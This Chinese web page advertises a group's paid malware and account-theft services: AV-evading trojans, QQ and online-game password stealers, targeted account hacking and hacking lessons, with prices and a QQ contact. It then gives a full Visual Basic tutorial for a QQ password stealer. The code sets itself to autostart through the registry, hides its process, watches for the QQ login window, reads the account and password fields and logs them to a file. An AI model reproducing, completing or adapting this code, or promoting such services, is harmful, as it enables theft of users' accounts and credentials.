天马工作室简介 天马工作室成立于2007年3月22日,现成员数已达132人,各部门分工明确,集破坏和建设于一体
天马工作室对外业务部
对外主营业务-出售各类免杀木马,盗号程序,游戏盗号箱子,教授黑客技术,破解技术,外挂编辑技术。年钻等,承接指定盗号等......
QQ盗号程序 A版截取QQ账号密码 B版截取QQ账号密码及聊天记录 C版截取账号密码加密保。
A版 50¥
B版 80¥
C版 100¥
外售QQ信封0.5¥
问道盗号程序
完整版 问道盗号程序,破解登陆服务器,登陆账号,登陆密码,乾坤锁,仓库锁,装备锁等
完整版 200¥
外出盗号信封 2¥-- 5¥
QQ三国盗号程序
完整版 QQ三国盗号程序,可有效截取登陆服务器,登陆账号密码,人物锁,仓库锁。
完整版 100¥
外出盗号信封 1¥--4¥
天龙八部盗号程序
完整版 可有效截取,服务器,登陆账号,登陆密码,二级密保,密保卡
完整版 100¥
外出盗号信封 1¥--4¥
以此类推 国类主流网游 盗号箱子 一应俱全
指定盗Q破保 -收费
--100¥
黑客技术,盗号技术,破解技术, 外挂编辑技术--标准收费--200¥
年钻--150¥稳定不掉
诚信交易 非城勿扰
支持 财务通 支付宝 网银 手机充值卡
联系方式 幻季--天马 QQ1002022093
程序编制
(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" (ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName As String) As Long '创建一个新的文件映射对象
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long '关闭一个内核对象
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&
建立判断程序是否多启动的过程
Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES
sa.bInheritHandle = 1
sa.lpSecurityDescriptor = 0
sa.nLength = Len(sa)
ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, App.title) '创建内存映射文件
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then '如果指定内存文件已存在,则退出
CloseHandle ynRun '退出程序前关闭内存映射文件
End
End If
End Sub
(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
建立使程序自启动的过程
Sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看
sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项
Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值
End Sub
(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 '隐藏
建立实现程序自身在关闭程序对话框中的隐藏的过程
Sub HideMyWin()
RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub
(4)即时监视是否运行了 OICQ
加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。
Private Sub Timer1_Timer()
EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
End Sub
声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中
Option Explicit
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄
Const GW_CHILD = 5 '寻找源窗口的第一个子窗口
Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Dim buf As String
Dim nameall, name, passwordall, password As String
Dim i As Integer
Dim title, titleall, filepath As String
Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口
Dim buf As String * 1024
Dim length As Long
filepath = App.Path & "\0.txt" '0.txt 为保存帐号、密码的文件
If Dir(filepath) = "" Then
title = ""
titleall = ""
End If
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length) '取得窗口的标题
If InStr(title, "OICQ用户登录") Then '判断是否为QQ窗口
Call GetZiWin(app_hwnd) '调用(5),取得 OICQ 窗口中的帐号、密码框的类名
End If
If title <> "" Then
If InStr(titleall, title) Then
EnumProc = 1
Else
titleall = titleall + title 'title 是指取得的窗口标题
If name <> "" Then '取得的帐号
If InStr(title, name) Then SaveFile '保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
End If
End If
End If
EnumProc = 1
End Function
(5)取得 OICQ 窗口中的用户名、密码框的类名
自定义取得子窗口类名的函数,写在 Module1.bas 文件中
我们知道 OICQ 主窗口的用户名的类名是 ComboBox,密码框的类名是 Edit,这里可以通过取得类名的
,取得它们的句柄,从而取得它们的值。
Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
'取得类名
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If Right(buf, 8) = "ComboBox" Or Right(buf, 4) = "Edit" Then '进行判断
GetZiWin = GetWinText(window_hwnd) '调用(6),取得它们的值
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop
For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function
(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值
自定义取得子窗口的值的函数,写在 Module1.bas 文件中
Public Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String
'通过 SendMessage 发送 WM_GETTEXT 取得地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
GetWinText = Left$(txt, txtlen)
If buf = "ComboBox" Then
name = GetWinText
If InStr(nameall, name) Then
i = 0
Else
nameall = nameall + name
i = i + 1
End If
Else
password = GetWinText
If InStr(passwordall, password) Then
i = 0
Else
passwordall = passwordall + password
i = i + 1
End If
End If
End Function
(7)到现在,程序已进行收尾阶段,如果在(4)中判断用户名、密码顺得取出,则保存相关信息。
自定义保存信息的过程,写在 Module1.bas 文件中
Sub SaveFile()
Dim file_num As Integer
Dim allstr As String
allstr = name & Space(5) & password & Space(5) & Now '保存帐号、密码、启动的时间
file_num = FreeFile
If Dir(filepath) = "" Then
Open filepath For Output As #file_num
Else
Open filepath For Append As #file_num
End If
Print #file_num, allstr
Close #file_num
End Sub